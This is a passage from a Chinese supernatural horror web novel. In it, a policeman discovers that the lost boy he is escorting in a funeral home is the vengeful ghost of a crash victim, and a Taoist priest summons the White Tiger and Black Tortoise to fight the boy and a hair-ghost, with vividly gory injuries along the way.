这些倒刺闪烁着寒光，一根根插入了坚硬的地面，穿透了地砖，犹如锋利的钉子一般牢牢地钉入其中，每一根头发都像是一条灵活的蛇，它们迅速蔓延开来，扎根在地上，宛如树木的根须，紧紧地抓住大地，这些头发相互交织在一起，形成了一个坚固的网络，支撑起了她的头部。
她紧咬牙关，脸上露出痛苦和愤怒的表情，她的眼神充满了坚定与决绝，仿佛要将所有的恨意都发泄出来，而在她那原本倒着的脑袋的脖颈处，开始长出了许多肉球，这些肉球不断生长、融合，逐渐形成了类似于身体一样的形状。
最终，在这股强大的恨意和生命力的作用下，原先颠倒的过来的脑袋竟然正了过来，在临时生出的□□支撑之下，她朝着宋明夷的方向追了过去。
……
在另一头。
林凌正牵着小男孩走在长廊里，忽然小男孩像是感觉到了什么一样，停下了脚步，抬起头看向了走廊左侧的楼梯，那个楼梯通往二楼，他似乎发现了什么。
“怎么了？”
林凌见小男孩停下了脚步，也跟着停了下来，他顺着小男孩看去的方向看了几眼，但却没有看到什么。
“我只是感觉，今天晚上殡仪馆好像有点儿热闹。”
“哈？”林凌一愣，“你这‘热闹’这种词，用在殡仪馆里好像不太好啊。”
“——”
就在这时，林凌口袋里的手机震动了一下，他原以为是沈聆给自己回消息了，但拿出手机一看却发现，是同事老李给自己发来的微信消息。
——老李当时也参与了元山路校车事故的救援工作，还因为在救援过程中不小心摔下山崖摔断了右腿，目前正在平安医院住院，在林凌在医院遇到沈聆的那天，老李刚要接受骨外科手术，目前手术情况良好，应该过几个月就能归队。
林凌打开了微信聊天页面，发现老李给自己发了条微信消息：【小子，我刚才听队长说，你去殡仪馆了？如果有去的话，帮忙给我上个香。】
林凌回复道：【上香？给谁上香？】
过了几秒，老李的消息弹了出来，还附带了一张孩子的照片。
【这个孩子叫李向泰，是校车事故里的孩子之一。】
【可怜的娃娃，校车出事的时候，他在前排被甩出车窗、胸口被钢筋贯穿了，我在山崖下找到他的时候，他已经没有生命体征了，我只能把他的尸体背上去。】
【他是三年二班的学生，他的尸体现在也在殡仪馆里，你如果你去了殡仪馆，帮我给他上个香吧，也算是多一个人送送他。】
53. 天生坏种
老李算是警队现任队长李辉的叔叔，是上一任一队的队长。
他的探案能力和决策能力很强，在他的带领下，陵川市的犯罪率一度控制在很低的水平，甚至评上了全省治安优秀市，随着年岁增加，毕竟年纪到了，体力和思维都跟不上新时代的办案需要，于是退了二线，将工作交给年轻的一代，在平日里就负责一些警队的后勤工作，但当发生元山路交通事故这种重大事件的时候，他还是义无反顾地冲在第一线，参与救援工作，甚至在救援工作中负伤，摔断了腿。
老李，是一个好警察，也是一个好人。
在住院之后，还挂念着那些死在车祸里的孩子们，这场交通事故十分严重，目前找到的孩子们几乎都死了，就算是重伤入院的，也还没有抢救成功的幸存者。
在医院里住院的他，时常牵挂着那些孤单死在山崖下的孩子们，甚至在闭上眼睛的时候，都会想起自己在车祸现场看到的“不完整的孩子们”。
今晚他跟李队通了个电话，从侄子李辉口中听到了林凌一些“不修边幅”的话之后，他知道林凌这小子不是一个轻易放弃的人，林凌年轻气盛，他知道这样的年轻人就像是嗅觉敏锐的猎犬，一旦有认为需要查下去的可疑之处，他就会尽全力调查。
于是，还躺在病床上的老李给林凌发了这条消息，老李本身对林凌调查的秦琴尸体失踪的事件并没有什么兴趣，但他总想着给自己没能救上来的孩子上柱香，毕竟，他是最后把那些孩子们背上来的人，亲眼看到了那些孩子们支离破碎的尸体，这画面给人的冲击性，哪怕是经验丰富的警察可能都要花上十多年来治愈自己。
但是老李没有意识到，自己的这条微信消息，也给林凌留下了不轻的心理阴影！
老李为了让林凌更好地认出自己想要上香的孩子，甚至还发了一个三年二班在出发前拍的合照，用红色的标志圈起了合照中站在第五排第三个的李向泰。
李向泰乖巧地站在人群中，一张小脸看起来有点儿苍白，他瘦弱的身体挤在两个相对比较胖的同学中间，穿着背带裤的他，正太的发型在人群中倒是一眼可以认出。
在看到那张合照的时候，林凌整个人都愣在原地，脑袋空白了一片，一阵凉意窜上了脊梁骨。
他下意识地看向了自己身边站着的那个小男孩，此刻，那孩子正牵着自己的手，转头看着二楼楼梯口的方向，似乎没有察觉到林凌心里已经翻涌起了惊涛骇浪！
林凌大概愣神了将近十秒钟，才给老李回了一个消息：【老李，你没弄错吗？这是三年二班的合照？你确定你圈起来的那个孩子已经死了？？？？】
发完这句话的时候，他甚至加了一个“震惊十万年”的表情包。
此时此刻，他心中像是一万只草泥马奔腾而过，他怎么刚进来殡仪馆就闹了灵异事件？？这个和父母走失的孩子似乎早已经在车祸中丧生，那他现在牵着的“东西”是什么？是人是鬼？
林凌默默咽了口唾沫，他这才发现，自己牵着的这个小男孩，他的手掌心十分冰冷，就像是没有温度的尸体一样。
——这孩子，难道真的已经……
——我不会这么倒霉吧？
林凌恨不得在抽自己几个大耳瓜子，当时就不该答应这个孩子帮他找父母。
他太像了。
和照片里的那个孩子太像了。
甚至就连名字都一样。
难道说自己现在牵着的是一个鬼魂，而他的□□正安静地躺在某个灵堂里？就在这个殡仪馆里，所以说，他在找的是自己的尸体，还是自己的父母？？
……
林凌微微咳嗽了一声，像是清了清自己的嗓子一样，他已经没有心思给老李回消息了，满脑子都是该怎么从这个该死的“撞鬼”事件里脱身。
他想到的第一个念头就是——跑！
但是就这么把这个孩子丢在这里，会不会惹怒了他？万一他真的是鬼怎么办？
退一步来说，如果他不是鬼的话，就这么把一个孩子丢在一楼，万一遇到坏人的话怎么办？这可不是一个警察该做的事情……
左右为难之间，几万个想法和可能性在脑海中一闪而过，宛如排山倒海一样在脑袋里卷了一遍过后，啥都没有剩下。
“那个……向泰，要不……要不我们还是继续找找你爸妈在哪里吧？”
犹豫了半晌之后，他还是决定不能就这么把李向泰丢在这里，无论他到底是人还是鬼。
听到了林凌的话，向泰回过头，抬起那张小脸，无辜地看着林凌：“你不打算丢下我吗？”
像是被看穿了内心的想法一样，林凌愣了一下，表情都僵硬了几分。
“我……”
“刚才好像有人给叔叔发消息了对吧，是哪个伯伯吗，在山崖下找到我的人。”
此言一出，林凌整个人从头冷到脚。
他彻底明白了，眼前这个孩子，不是人，是鬼！
“你……你都知道了……”林凌的声音带着几分颤抖。
他一直以来都是一个坚定的无神论者，但现在他也开始动摇了起来。
“是啊，成为现在的鬼样子之后，我好像能比之前知道更多的事情。”
向泰说着，松开了握着林凌的手，他低下头看了看自己的手后，林凌惊讶地发现，向泰的双腿似乎有点儿半透明了起来。
不止如此，林凌发现向泰的胸口开始出现了伤口，那个伤口最开始只是一个胸前的血点，随后逐渐扩大，变成了碗口一样大的形状，那伤口开始内陷，血肉融化后变成了血水，顺着胸口留下，染红了他的衣服，他的胸口出现了一个骇人的伤口，伤口贯穿了他的身体，从伤口外面可以看到胸腔里的脏器和断裂的肋骨，浓郁的血腥味逐渐在空气中扩散开来。
“……”
向泰抬起头看向了林凌，那张脸开始变得苍白了起来，甚至出现了点点黑斑，他的眼眸里逐渐丧失了生气，就像是死鱼的眼珠一样无法聚焦，看着林凌的时候，带着几分绝望。
“向泰……”
林凌往后退了
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一步，后背抵到了墙壁，退无可退。
“叔叔，你害怕吗？”
林凌看着面前的小男孩，小男孩的脸色苍白，眼神中却带着一丝好奇，似乎很期待林凌对这个问题的回答。
林凌微微皱眉，不知道该如何回答这个问题：“向泰，你是不是已经死了……”
亡灵，总是不愿意面对自己已经死了的现实的。
许多在意外中死去的人，甚至会认为自己并没有死，从而以亡魂的形式游荡在人世间，继续做着生前做过的事情。
“我死了吗？”
向泰低下头，看着自己胸口的伤口，眼神中流露出浓郁的哀伤，他的嘴唇微微颤抖着，似乎不愿意接受自己已经死亡的现实，但是却又不得不面对这个可悲的结局。
“大概吧。”
向泰的声音低沉而沙哑，他缓缓抬起头，看向林凌。
这小男孩的眼睛里布满了血丝，眼神中充满了迷茫和无助。
“叔叔，你是救我的那个伯伯的同事对吧，如果你能再见到那个伯伯的话，能不能帮我跟他道歉一下？”
向泰的语气中带着一丝恳求，说出这句话的时候，宛如临终的人在托付事情。
“跟老李道歉？为什么？”林凌疑惑地问道。
“向泰很感谢那个伯伯，伯伯当时在发现了向泰已经死了之后，还是愿意背着向泰的尸体回去……我记得，当时他用绳子把我固定在他的后背，他已经五十多岁了，后面的头发全都是白花花的，在我之前，他已经背了很多个孩子回去，但是还是愿意背着我爬上山崖……他是个好伯伯，可是，向泰不是个好孩子，向泰把他弄伤了。”向泰的声音越来越低。
“你的意思是……”林凌的心中涌起一股不祥的预感。
“嘻嘻，叔叔，我告诉你一个秘密哦，伯伯摔断了腿的事情，是向泰弄的哦！”
向泰说着，突然微微一笑，嘴角带着一抹恶作剧得逞的笑容，他的眼神中闪烁着狡黠的光芒，似乎对自己的行为感到得意，这和之前正常说话的样子判若两人！
“大家都死了，为什么死的是我们，不是其他人呢？向泰想要更多的人留下来陪我们。”
听到这句话，林凌的脑袋空白了一下，他忽然意识到，这件事情没有这么简单，这些死去孩子或许并不都是可怜的孩子，有些孩子，就是天生怀种！
“是你在作祟？！老李从山崖上摔下去，是你的手笔？！”林凌愤怒地问道。
“是啊……”
李向泰说着，微笑地看着身边站着的林凌。这小男孩的眼眸中闪烁着嬉笑和轻蔑的意思，似乎很得意自己的做法。
他的嘴角微微上扬，露出一抹邪恶的笑容：“当时，那个伯伯正背着我的尸体在爬山，他肉眼凡胎，却看不见我的鬼魂，所以我就暗中推了他一下，没想到他一个重心不稳，就从山崖上掉下去啦~你知道吗，他的腿当时就摔断了，骨头都露出来了，哈哈哈哈，太好玩了~”
向泰的笑声在空气中回荡，让人不寒而栗。
54. 打斗
“是你？是你导致老李摔断腿了？！”
一股愤怒之意冲上了林凌的心房，他的心如同热锅中煎熬的一样，这股愤怒反而冲淡了几分他的恐惧，看着李向泰的眼神里也像是燃烧着怒意，他是老李带出来的“兵”，他从进入警队的一天开始，就在老李的带领下学着办案，现在知道了自己的师傅并非意外摔下山崖，而是有“人”刻意为之，岂能不愤怒？！
“你这倒霉孩子！知道老李现在五十多岁了吗？他平常就有高血压、糖尿病，你知道摔断腿对他来说意味着什么吗？！他家庭情况本来就不是很好，他断了腿，要在床上躺三个月，你知道医药费有多少吗？！”
“那又怎么样呢？”李向泰耸了耸肩，一副无所谓的样子，笑了笑，“这个世界上，每天有这么多人死掉，每天也有那么多人受伤，他没有死已经算很好了，我还以为他掉下去之后至少半条命没有了呢，只断了条腿，有点可惜了。”
“你这说的什么话！”林凌愤愤不平地吼道，“老李当时就不该管你，他还好心想把你的尸体背上去、却因此摔断了腿，现在看来，真是狗咬吕洞宾、不识好人心！”
李向泰微微一挑眉，斜睨着林凌，眼神中满是不羁与漠然，他那副满不在乎的模样，仿佛对世间的一切都毫不在意，全然感受不到林凌为何如此生气。
——李向泰，虽然只有十岁，但他就像是一个天生具有反社会人格的孩子，面容冷峻，眼神空洞而冷漠，对他人的苦难完全没有同理心和同情心，那冰冷的神色如同千年不化的坚冰，这样的人，说话做事只会考虑能否让自己开心，而从不顾及会给他人带来多么可怕的后果。
“……李向泰，你恩将仇报！”林凌怒目圆睁，额头上青筋暴起，声音因愤怒而微微颤抖，“你已经死了，阳间的律法自然拿你没办法，但是总有一天你会为自己做过的事情付出代价的！”
“是吗？我倒是很好奇，我会有怎样的‘惩罚’呢，哈哈哈哈——”李向泰云淡风轻地点了点头，嘴角微微上扬，露出一抹满不在乎的笑容，“无所谓，反正我已经死了，你也抓不了我，你是警察吧，叔叔，从你踏入殡仪馆的那一刻起，我就知道你和那个伯伯是一样的人，只不过，你们这样的人啊，都有一个缺点……死得早，如果下辈子还能转世投胎的话，记得不要再做好人了，好人不长命的——”
李向泰说着，他身上忽然散发出一股黑色的煞气。
那煞气犹如浓稠的墨汁，缓缓涌动着，先是在他的脚下盘旋，如同一条伺机而动的黑蛇，逐渐地，这股煞气像是形成了一股扩大的小卷风一样，绕上了他的四肢，那黑色的气流紧紧缠绕着他的手臂和双腿，仿佛要将他拖入无尽的黑暗之中，最后，煞气缠绕、包裹着他的脑袋，他的皮肤在这团黑色的杀气中逐渐腐蚀、腐化，皮肤一寸寸地剥落，露出了皮肤下白色的头颅，在那头颅里，没有眼睛，只有空洞的、黑漆漆的眼眶看着林凌。
“嘻嘻。”
他的嘴角扯出了一抹嘲讽的弧度，那弧度中满是轻蔑与不屑，似乎在讽刺林凌的无能。
“叔叔，你知道吧，这个世界，本来就是‘优胜劣汰’的，是这个词没错吧？在出发的前一天，我在语文课上刚学的，没想到第二天我就不用再上学了，哈哈哈哈哈——”
李向泰放肆地大笑起来，笑声在殡仪馆中回荡，显得格外阴森恐怖。
李向泰身周的那股煞气越来越浓烈，如同汹涌的潮水朝着林凌逼近！
那股煞气带着令人作呕的腐臭味，在煞气之中，是飘动的皮肉与骨血，皮肉如同残破的旗帜，在煞气中摇曳着；骨血则像是破碎的皮屑，四处飘散，李向泰似乎已经将自己的肉身上残余的魂魄化作了煞气，并利用这煞气，在殡仪馆里停留。
“叔叔，你也来陪我们吧！”李向泰的声音阴冷而诡异，仿佛从地狱深处传来，他伸出手，那煞气便化作了一把把利剑，朝着林凌飞了过来！
林凌身后便是走廊的墙壁，他已经退无可退，只能下意识地抬起手挡在自己身前。
“小心——”
一个女孩子的声音响起，下一秒，林凌感觉到有人扑到了自己身上，连带着他一起摔在了旁边。
林凌睁开眼一看，发现扑倒自己的人是沈聆。
“沈聆？！”
沈聆压在林凌身上，她微微支起身体，回头看向了身后，在身后林凌原本站着的地方，那几道煞气打在了墙壁上，硬生生将墙壁划出了几道黑色的痕迹，那痕迹深入墙壁足足五厘米，打下了一墙的墙灰，落在了沈聆和林凌身上。
多亏了沈聆，不然那些煞气此刻已经打穿了林凌的身体，将他切成了三四段。
“你没事吧？”沈聆转头看向林凌，发现这小伙子除了有点儿受到惊吓之外，并没有其他外伤。
“你怎么在这里？”
未等林凌问完，向泰倒是一笑。
“大姐姐，你们从迷阵里出来了啊，倒是比我想象中更快一点。”
“是啊，让你失望了。”沈聆眯起眼睛看向了向泰。
她话音刚落，从身后一道金光打了过来，那道金光如同金色的光鞭一样，打向了李向泰。
他微微睁大眼睛，在金光打到自己身上的前一秒一跃而起，随后稳稳地落在了几步之外的楼梯上。
“哟嚯，你果然不是个简单人啊，臭道士。”
林凌顺着李向泰的目光看去，发现一个人正有条不紊地从走廊的转角处走来，他穿着道袍、扎着长马尾，一副超然世外的气质仿佛与周围的层层煞气格格不入，他一步，一步走来，身旁的煞气似乎也被他的真气撕开，让出了一条通道。
“啊，你也是没什么用啊，小鬼，就这么一个肉眼凡胎的凡人你都搞不定，还想当什么厉鬼？”
吴妄说着，抽出了背后的桃木剑，随着那桃木剑划破空气的弧度，几道刺眼的金光又打了过来。
向泰眯起眼睛，抬起手在身前凝结了一道屏障，但这屏障挡住了前两道金光之后，
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却被最后一道金光打破！
李向泰往后退了几步，打下来的金光落在了他原先站着的地方，直接将楼梯打出了一道长长的裂痕。
“青城山的做派。”李向泰眯起眼睛。
“小鬼，你懂得不少嘛。”吴妄站定了身子，右手握着桃木剑，眼眸中锋芒尽展，“你生前只是一个三年级的小鬼，‘青城山’这三个字，你是死后从别人嘴里听到的吧？我刚才就觉得奇怪，为什么乱葬岗里会有迷阵，那迷阵已经远远超出你们的能力范围，你们背后一定有‘高人相助’，对吧。”
“这个嘛，无可奉告。”
李向泰边说边缓缓地抬起了双手，只见在他的手掌之上，有两团黑色的煞气开始慢慢汇聚起来，那两团煞气如同一股无形的力量，在他的掌心之中盘旋着，它们越聚越多，逐渐形成了两个漆黑的黑洞，像是能够将一切都吞噬殆尽。
李向泰微微一笑，嘴角带着几分诡异的弧度，眼神中带着几分轻蔑和嘲讽，他盯着在场的其他三人，宛如一只即将扑食的猎豹，而那两团煞气也如同他的眼睛一般，透露出一种令人心悸的威压感。
道长也抿了抿下唇，他脚下瞬间张开了一个八卦阵，从八卦阵中透出的金光形成了一个半透明的屏障，宛如书中的金钟罩。
在这一刻，整个空间都弥漫着一股紧张的气氛，大战像是在弦上的箭，一触即发。
“啊啊啊啊——救命啊——”那尖锐的呼喊声仿佛要划破天际。
就在这时，一个极为突兀的声音传来，如同一颗投入平静湖面的巨石，瞬间打破了这紧张得让人窒息的气氛。
沈聆被这声音惊得浑身一颤，下意识地循声看去，只见宋明夷跌跌撞撞的身影从出现在二楼的楼梯口。
“有鬼在追我！！”
宋明夷还未说完，她踩着慌乱的脚步，正要跑下楼的时候身体失去平衡，直接从二楼的楼梯上滚了下来！
“啊——”
那凄厉的呼喊再次响起，说她是自己滚下来的，一点也不为过。
“咚。咚。咚。”
她的身体与楼梯不断碰撞，发出沉闷的声响，最后完美地用脸颊着地刹车！脸着地的瞬间，她口袋里的手机也被甩了出去，在地上滑出一段距离。
她整个人摔了个狗吃屎，模样狼狈至极。她的头发凌乱地散落在脸上，衣服也被蹭得皱皱巴巴。她的膝盖和手掌擦破了皮，在地上留下了一抹刺眼的红色。
“好疼啊……”
她的声音微弱而颤抖，她抬起头，前额直接摔出了一个鼓包，红红的，仿佛一个熟透的桃子。
“额……”
就在这时，宋明夷才发现自己如同一个被展烂的小丑，在场其他四个人的视线都紧紧地盯着自己（如果李向泰不算人的话，那应该只有三个）。
“咳咳……”她尴尬地挠了挠头，脸上露出一抹不自然的红晕，忽然感觉有点尴尬，仿佛空气都凝固了一般，“额，我是不是打扰到你们了？”
55. 白虎，玄武
宋明夷的陡然出现，犹如一颗投入平静湖面的石子，让在场众人皆是一愣，原先那剑拔弩张的紧张气氛也在此时悄然缓解了几分。
“沈聆！”宋明夷的呼喊声打破了短暂的宁静。
宋明夷望见沈聆的那一刻，眼神中瞬间燃起希望的光芒，仿佛在茫茫大海中漂泊许久的小猫终于找到了主人。她全然不顾头上鼓起的大包，发了疯似的扑向沈聆，紧紧抱住她，哭得那叫一个梨花带雨，鼻涕眼泪糊了一脸。
“沈聆！我撞鬼了！我撞鬼了——你都不知道那个鬼好恐怖啊，她只有一个头了，而且还倒着跳来跳去的，像个皮球一样！”宋明夷满脸惊恐，声音颤抖着，身体也止不住地微微发抖。
“哈？”沈聆脑袋嗡的一下，宋明夷的话让她如坠云雾之中。但看着宋明夷那可怜兮兮的模样，又不像是在说谎。
就在这时，那个已经长出身体的女鬼从身后追了过来！
这女鬼原先只有一个脑袋，如今新长出来的肉身呈现出模糊的肉团轮廓，摇摇晃晃地走着，显然还没有完全适应这个新身体的平衡，女鬼身体两侧头发如触手般缠绕在楼梯扶手、天花板和地砖上，维持着身体的平衡以及行动能力，被她头发缠绕到的地方全都包裹上了腥臭的粘液和血迹，那味道令人作呕。
“桀桀桀桀——”
女鬼从二楼缓缓探出脑袋，血红色的眼睛睁得大大的，如同两个血窟窿，四处搜寻着宋明夷的身影，那狰狞的模样，仿佛要将整个世界都吞噬掉。
最后，她的视线落在了抱着沈聆的宋明夷身上。
“小姑娘，你要跑到哪里去？”
女鬼的声音阴森恐怖，仿佛从地狱深处传来，她看见宋明夷时候的表情，简直可以用“眼前一亮”来形容。
“啊啊啊——沈聆救我！！”宋明夷颤抖着手指向那个从楼梯口探出的脑袋，“那个脑袋、那个脑袋是鬼啊！她一直在追我，她还在厕所里堵我！！还好你给我黑狗血，不然我刚才就噶了！”
“哦？原来是你给她的黑狗血啊……”女鬼微微眯起眼睛，血盆大口中满是如犬牙般锋利的牙齿，在昏暗的光线下闪烁着寒光，她的脸上露出狰狞的表情，“都怪你的黑狗血坏了我的好事，我现在就要让你长长教训！不是什么热闹都能凑的！”
女鬼说着，身上血气骤然增加，仿佛一团燃烧的火焰。她身上的那些头发像是有了生命一样，瞬间朝着沈聆和宋明夷伸了过来！那发丝如钢针般锋利，在空气中划过，发出令人胆寒的呼啸声。
吴妄紧紧握住桃木剑，在空气中用力一斩，但打出的剑气却被另一道黑色的煞气所阻挡。
李向泰嚣张地叫嚷着：“今天我叫你们全都死在这里！”
道长的剑气被李向泰阻挡，女鬼的头发如利剑般朝着沈聆和宋明夷刺了过来，在千钧一发之际，沈聆连忙将宋明夷推开。
“刷——”
那些头发瞬间插入了她的手臂中，那头发宛如锋利的钢刃，尖端破开了皮肉，瞬间贯穿了沈聆右手的上臂。
鲜血顿时喷涌而出，染红了沈聆的衣袖，也喷溅在宋明夷的脸上。
“沈聆！”宋明夷摔倒在地，她惊慌失措地回过头，看见沈聆右手直接被女鬼的头发贯穿了！
下一秒，在女鬼的狂笑声中，沈聆被女鬼整个拖拽着往楼梯而去，沈聆挣扎着，但越是挣扎，她手臂的贯穿伤就越大，被拉扯的疼痛以及被抓住的绝望化作了心底对死亡的恐惧，她的力量根本比不过女鬼，只能眼睁睁地被女鬼一点点拖了过去。
“放开她！”林凌率先一步起身扑了过来，他紧紧拉住了沈聆的身体。
“咔嚓。”
林凌从口袋里掏出折叠式的蝴蝶刀想要割断女鬼的头发，但在蝴蝶刀的刀刃触碰到头发那一刻，原先锋利坚硬的头发却宛如绸缎一样轻柔。蝴蝶刀根本下不了力，相反，发丝绕开了蝴蝶刀的刀刃，反而卷住了林凌的手腕，将他整个人拽了起来，挂在了半空。
“哈哈哈哈，你们不过是凡人之躯，还想与鬼神比肩吗？”女鬼大笑着，脸上露出得意的神情。
女鬼的发丝已经将沈聆的右手整个裹了起来，并逐渐收缩着。
沈聆感觉到手臂一阵酸麻疼痛，手臂里的每一块肌肉、每一根血管都被施加了千斤重的压力一样，她的手臂似乎正在被挤压着，所有的发丝都往内收缩加压，一点点加大的力度像是要把她的手臂整个夹断！
“疼……”那钻心的疼痛让沈聆的脸色瞬间变得惨白，额头上冒出细密的汗珠。
“青龙白虎，队仗纷纭；朱雀玄武，侍卫我真。急急如律令！白虎使，现！”道长一声怒喝，声音如洪钟般响亮。
随后，他脚下的八卦阵忽然改变了阵法，变成了白色的阵型。
“吼——”从那阵型之中传来了震耳欲聋的虎啸，仿佛要将整个世界都震碎。
随后，一只吊睛白额的老虎从他身后一跃而起，扑向了长发女鬼！
那老虎威风凛凛，身上的白色毛发在的灯光下闪烁着耀眼的光芒，白虎一双蓝色的眼睛死死盯着女鬼，像是看到了猎物一样，张开大嘴，长长的獠牙闪烁着寒光。
“臭道士，你的那只‘小白猫’想去哪里？你的对手是我！”
李向泰说着，手中的煞气化作许多只箭羽，那些黑色的煞气之箭朝着白虎就射了过去。箭羽在空气中划过，发出尖锐的呼啸声。
原想攻击女鬼的白虎前肢刚落在地上的时候，一根根黑箭朝它射来，它反应敏捷、直接扬起前半身，用巨大的虎爪在半空中划过一道弧度，那虎爪如同钢铁铸就一般，坚硬无比，瞬间打掉了李向泰手中的黒箭。
“吼——”
白虎愤怒地吼叫了一声，李向泰的偷袭惹怒了它，未等吴妄下新的号令，白虎冲着李向泰怒吼了一声，虎啸的声音瞬间震动了整层楼，那气势如排山倒海般汹涌，破开了李向泰剩下的黒箭，下一秒，白虎的身躯在空中越过一道
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弧度，朝着李向泰就扑了过去！
“青龙白虎，队仗纷纭；朱雀玄武，侍卫我真。急急如律令！玄武使，现！”
与此同时，道长驱动自己的真气，再一次打开了一个漆黑的阵眼。
这次，他脚下的阵法又有了新的改变——在白虎的阵法刺眼的白光之上，一个如同黑曜石一样带着几分鎏金描边的黑色阵法出现了！那阵法散发着神秘的气息，仿佛来自远古的召唤。
“什么？”女鬼没想到这个看起来二十出头的年轻人居然能同时驱动四相中的两者。
在她还没有反应过来的时候，在她身后忽然一个东西猛然出现！
她回头一看，发现是通体黑色的玄武！玄武，是由一只乌龟和一条蛇组成的，引入眼帘的，先是一米高的乌龟，它的龟壳坚硬着闪烁着寒光，在乌背上还缠绕着一只黑绿色的蛇，它的鳞片与乌龟的壳辉映着，宛如夜色的深沉。
一龟一蛇，两双闪烁着寒意的眼睛就这么盯着女鬼，像是审判在人间为非作歹的厉鬼一样。下一刻，龟背上的蛇突然张开了嘴，朝着女鬼扑了过来，它一口咬住了女鬼的脖子，那蛇的速度快如闪电，让女鬼根本来不及反应，它稍稍一用力，直接将女鬼的头和新长出的身体咬断了！
而这边，虎啸伴随着白虎的身躯在空中越过一道弧度，那气势仿佛要将李向泰撕成碎片。
“该死——”
李向泰抬起手，用煞气在眼前张开了一张黑色的网，想用这个网拦住白虎。但白虎巨大的前掌下，锋利的爪子瞬间将煞气织就的网撕得粉碎。下一刻，它巨大的身躯直接扑在了向泰身上，身周的白光直接撕破了向泰的煞气，宛如黎明的光撕破夜空的黑暗一般。
两只恶鬼同时被压制，作为白虎和玄武的召唤者，吴妄道长站在白虎阵和玄武阵的中间。
只见他手中的桃木剑瞬间染上了朔金色，金色的图案在木质剑身上浮现出了道家的图腾，随后，他闭上了双眼，口中默默念着什么。
伴随着他的咒语，白虎和玄武的力量同时增强，两个星宿强压着两只恶鬼，女鬼和向泰被压得喘不过气来，桎梏着沈聆和林凌的头发也在这时悄然褪去，被收回了女鬼身上。
“咚。”
被掉在半空中的林凌摔在地上，他下意识抬起头看向了沈聆，发现沈聆的右手早已经被发丝绞得血肉模糊……
沈聆手臂的皮肤已经完全被锋利的发丝割破了，露出皮肤内部暗红色的肌肉。被挤爆了的血管从每一个毛细血管渗血着，整条手臂全都是血，甚至骨头、神经、韧带全都碎了。
这条手臂就这么耷拉在地上，早已没有了正常的形状。
沈聆疼得倒在地上，那条手臂神经已经完全被挤断了，虽然手臂的末梢已经感觉不到疼痛，但肩膀的神经连接还在，她能感觉到肩膀横断面的疼痛。
在她但想要动一动手臂的时候，却发现手臂已经完全无法动弹了。
她似乎，残废了。
56. 灵体
“魑魅魍魉，尽皆伏诛，破！”
吴妄一声断喝，他手中的桃木剑顿时金光乍现，这力量似乎通过他脚下的黑白两阵法传到了玄武和白虎的身上，只见玄武身上的黑气与白虎身周的白光更重了几分，两个星宿登时威势大增。
“咔嚓。”
女鬼的脖子直接被玄武咬断，她新生长出来的身体与脑袋分离的瞬间，那肉身便倒在了地上化作了烟尘。
玄武与其他三个星宿不同，是由龟与蛇组成的，蛇的眼睛里闪烁着绿色的寒光，而为了配合蛇的攻势，龟的周身杀气腾腾而起，那凛冽的杀气仿若无数刀刃，瞬间破开了女鬼缠绕在楼梯栏杆上的发丝。
紧接着，龟的四肢收入了龟壳中，坚硬的龟甲旋转了一起来，如同一道闪电般冲上前去，以摧枯拉朽之势，将女鬼的身体斩成碎屑。蛇卷起身体，卷住了女鬼的头，将女鬼整个裹住，覆盖在它的鳞片之下。
“吼——”
白虎猛力一掌击向李向泰，这小鬼双眼猩红，急忙往后闪避。
尽管李向泰反应迅速，但白虎的掌风依然如利刃般切掉了他的手臂，那手臂在脱离身体的瞬间，如同烟雾般消散得无影无踪，白虎的攻击迅猛无比，它的爪子在空气中划过，带起尖锐的风声，每一次攻击都蕴含着巨大的力量，仿佛能将空气都撕裂开来。
“我要把你们都杀掉！”
女鬼怒目圆睁，银牙紧咬，瞬间将所有鬼气凝聚起来。她妄图重新连接被切断的发丝，然而，玄武中的蛇却如离弦之箭般扑向她，蛇张开血盆大口，一口咬在女鬼的脑袋上，尖锐的毒牙瞬间撕裂了女鬼的头颅，深深地插入她的颅骨之中。
随着一声令人毛骨悚然的声响，女鬼的脑袋被整个咬碎。在凄厉的哀嚎声中，女鬼渐渐消失不见。
在女鬼的脑袋消失之后，残留在殡仪馆的头发也一根根消散，化作了灰烬。
微风吹过，灰烬随风飘散，仿佛女鬼从未在这个世界上出现过一般，就连最后一点残留的恨意和悲伤也荡然无存。
但李向泰这边，这只小鬼显然没有女鬼那么容易对付。
李向泰的身体极为灵活，他如同一只敏捷的猴子，左右跳跃着，一次次避开白虎的攻击，身周的煞气更是作为屏障，阻挡着白虎的攻势。
“吼——”
白虎如狂风骤雨般发动迅猛攻势，疯狂地抓向李向泰！它的每一次攻击都裹挟着强大的力量与惊人的速度，仿佛能撕裂空气，然而，李向泰总能在千钧一发之际，以令人惊叹的敏捷身姿巧妙避开。
他的身体明显比女鬼要更轻一点，他的魂魄似乎天生比女鬼更恶一些，因此成为厉鬼之后，他的攻击性似乎比女鬼更强。
白虎的身影在半空中划过一道道白色的弧度，它的动作极快，只在半空中留下一道道残影。
星宿白虎步步紧逼，将李向泰逼向了一楼的墙角。
“你以为这样就想抓到我吗？没那么容易！”李向泰咬着牙，话语中透露出不屈与倔强。
此时，他的整张脸惨白如纸，一根根黑色血管如同狰狞的小蛇般暴起，爬满了他的面庞，；他身体周围的黑气也在层层汇聚，如同浓稠的墨汁般翻滚涌动，又形成了旋涡一样的煞气流，更让人胆战心惊的是，他竟然开始吸收女鬼残留在空气中的魂魄。
随着女鬼的怨怼之气被吸收，李向泰的身体也开始发生了惊人的变化。
身体中的肌肉瞬间暴大了许多倍，两只眼睛染上了血的颜色，他张开了嘴巴，嘴里的牙齿变成了与女鬼一样的犬牙，口腔里全都是血的颜色，看起来像一只茹毛饮血的动物
“你们这些垃圾！看看这一招如何？！”李向泰怒喝一声，张开了右手。
瞬间，他的右手青筋暴起，如同坚硬的钢筋，充满了恐怖的力量感，那巨大的右手仿佛被施了魔法一般，瞬间膨胀到比他的身体还大两倍的体积，随后，他紧紧握住拳头，将拳头打向了白虎！
那一拳，力度之大，仿佛能击碎山岳；速度之快，让人几乎看不清拳影。
白虎根本躲闪不及，这一拳结结实实地打在了它身上，白虎发出一声痛苦的哀嚎，往后退了几步，紧接着，李向泰又挥出一拳。
这一次，白虎敏捷地躲开了，但白虎身后是倒在地上的沈聆，李向泰的这一拳直接朝着手无寸铁的沈聆呼啸而去，沈聆睁大了眼睛，受伤的她根本难以挪动自己的身体，只能眼睁睁看着李向泰的这一拳如同流星锤般带着不可阻挡的气势朝着自己砸过来！
“沈聆！”
作为警察的林凌最先反应过来，他眼神中充满焦急，双脚猛地一蹬地面，身体如同离弦之箭般冲向前去救人，在林凌几步之外，吴妄也迅速挥起桃木剑，他手持木剑，步伐矫健，朝着沈聆飞奔而来。
